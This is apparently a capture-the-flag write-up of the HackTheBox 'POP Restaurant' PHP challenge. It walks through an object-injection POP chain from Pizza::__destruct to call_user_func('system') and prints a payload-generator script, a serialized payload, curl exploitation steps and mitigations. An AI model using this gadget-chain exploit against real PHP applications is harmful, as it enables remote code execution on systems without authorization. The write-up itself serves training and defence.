POP Restaurant
POP Restaurant
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: call_user_func_rce, insecure_deserialization, php_object_injection, pop_chain
Summary
"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260209_hackthebox_pop_restaurant - Tags: sqlite, rce, php, apache, object_injection, unserialize, pop_chain, magic_methods, php7
- Indicators: unserialize() on user input, base64_decode + unserialize, __destruct() magic method, __get() magic method, __invoke() magic method
- Source:
20260209_hackthebox_pop_restaurant.md
Foothold
Vulnerability / Misconfiguration
- Call_user_func_rce
- Insecure_deserialization
- Php_object_injection
- Pop_chain
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- call_user_func_rce
- insecure_deserialization
- php_object_injection
- pop_chain
- Tags: sqlite, rce, php, apache, object_injection, unserialize, pop_chain, magic_methods, php7
Original Writeup
<details><summary>Click to expand original content</summary>POP Restaurant — HackTheBox
Description
"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."
Target: http://154.57.164.65:30759
Technology Stack
- PHP 7.4 with Apache on Debian
- SQLite database for user/order storage
- Flag stored at
/<random_12chars>_flag.txton the server (randomized filename)
Architecture
PHP food ordering web application with the following structure:
| File | Purpose |
|---|---|
register.php / login.php | User registration and login (session-based auth) |
index.php | Main page with food order buttons (Pizza, IceCream, Spaghetti) |
order.php | Processes orders — deserializes user-controlled POST data |
Models/PizzaModel.php | Pizza class with __destruct() magic method |
Models/SpaghettiModel.php | Spaghetti class with __get() magic method |
Models/IceCreamModel.php | IceCream class with __invoke() magic method |
Helpers/ArrayHelpers.php | Extends ArrayIterator, has current() with call_user_func() |
Models/DatabaseModel.php | SQLite database operations |
Helpers/CheckAuthentication.php | Session-based auth check |
Each food order button on index.php submits a form with a hidden data field containing base64_encode(serialize(new Pizza())) etc. — this is the intended flow.
Analysis
Vulnerability: PHP Object Injection via unserialize()
The critical vulnerability is in order.php (line 16):
$order = unserialize(base64_decode($_POST['data']));
The application deserializes the data POST parameter without any validation or class allowlist. Since PHP's unserialize() can instantiate any loaded class and set arbitrary properties, an attacker can craft a malicious serialized object that chains magic methods across multiple classes to achieve Remote Code Execution.
Gadget Classes (Magic Methods)
Four classes provide the building blocks for the POP chain:
1. Pizza::__destruct()
public function __destruct() {
echo $this->size->what;
}
Accesses property what on $this->size. If size is an object without a what property, PHP triggers __get().
2. Spaghetti::__get($tomato)
public function __get($tomato) {
($this->sauce)();
}
Calls $this->sauce as a function. If sauce is an object, PHP triggers __invoke().
3. IceCream::__invoke()
public function __invoke() {
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
Iterates over $this->flavors. If flavors is an ArrayHelpers (extends ArrayIterator), iteration calls current().
4. ArrayHelpers::current()
public function current() {
$value = parent::current();
return call_user_func($this->callback, $value);
}
Calls call_user_func() with attacker-controlled $this->callback and the current array value. Setting callback = "system" achieves RCE.
Solution
POP Chain Construction
The exploit chains the 4 gadget classes in sequence:
Pizza::__destruct()
└─ accesses $this->size->what
└─ Spaghetti::__get('what')
└─ calls ($this->sauce)()
└─ IceCream::__invoke()
└─ foreach ($this->flavors as $flavor)
└─ ArrayHelpers::current()
└─ call_user_func("system", "ls /")
└─ RCE!
Payload Generator (PHP)
<?php // Include application classes require_once 'Models/PizzaModel.php'; require_once 'Models/SpaghettiModel.php'; require_once 'Models/IceCreamModel.php'; require_once 'Helpers/ArrayHelpers.php'; $cmd = $argv[1] ?? "ls /"; // Step 4: ArrayHelpers — the RCE sink // ArrayIterator with command as value, callback = "system" $arrayHelpers = new Helpers\ArrayHelpers([$cmd]); $arrayHelpers->callback = "system"; // Step 3: IceCream — triggers ArrayHelpers iteration via __invoke() $iceCream = new IceCream(); $iceCream->flavors = $arrayHelpers; // Step 2: Spaghetti — triggers IceCream.__invoke() via __get() $spaghetti = new Spaghetti(); $spaghetti->sauce = $iceCream; // Step 1: Pizza — entry point via __destruct() $pizza = new Pizza(); $pizza->size = $spaghetti; // Serialize and encode $payload = base64_encode(serialize($pizza)); echo $payload . "\n";
Serialized Payload (for ls /)
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:4:"ls /";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
Exploitation Steps
Step 1: Register an account
TARGET="http://154.57.164.65:30759" curl -c cookies.txt -L "$TARGET/register.php" \ -d "username=ctfuser123&password=ctfpass123"
Step 2: Login to get session
curl -c cookies.txt -b cookies.txt -L "$TARGET/login.php" \ -d "username=ctfuser123&password=ctfpass123"
Step 3: Send RCE payload — enumerate root directory
curl -s -b cookies.txt "$TARGET/order.php" \ -d "data=<base64_payload_for_ls_/>"
Response revealed the flag file: pBhfMBQlu9uT_flag.txt
Step 4: Read the flag
curl -s -b cookies.txt "$TARGET/order.php" \ -d "data=<base64_payload_for_cat_/pBhfMBQlu9uT_flag.txt>"
Methodology Notes
POP Chain Discovery Process
-
Identify the sink — Find where dangerous functions are called (
call_user_func,system,exec,eval,file_get_contents, etc.) with controllable arguments. Here:ArrayHelpers::current()callscall_user_func($this->callback, $value). -
Identify the entry point — Find magic methods triggered automatically during deserialization lifecycle. Here:
Pizza::__destruct()fires when the object is garbage-collected. -
Connect the chain — Work backwards from sink to entry, finding intermediate gadgets that bridge one magic method to the next:
__destruct()→ property access on wrong type →__get()__get()→ call object as function →__invoke()__invoke()→ iterate custom iterator →current()
PHP Magic Method Triggers
| Magic Method | Triggered When |
|---|---|
__destruct() | Object is destroyed / garbage collected |
__wakeup() | Object is unserialized |
__get($name) | Accessing non-existent/inaccessible property |
__set($name, $val) | Setting non-existent/inaccessible property |
__call($name, $args) | Calling non-existent/inaccessible method |
__invoke() | Object used as a function $obj() |
__toString() | Object used as a string echo $obj |
Mitigations
- Never use
unserialize()on user-controlled input - Use
json_encode()/json_decode()instead of PHP serialization - If
unserialize()is required, use theallowed_classesoption (PHP 7.0+):unserialize($data, ['allowed_classes' => ['Pizza', 'IceCream', 'Spaghetti']]) - Avoid
call_user_func()with user-controllable callback names - Audit magic methods in all loaded classes for potential gadget chains
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR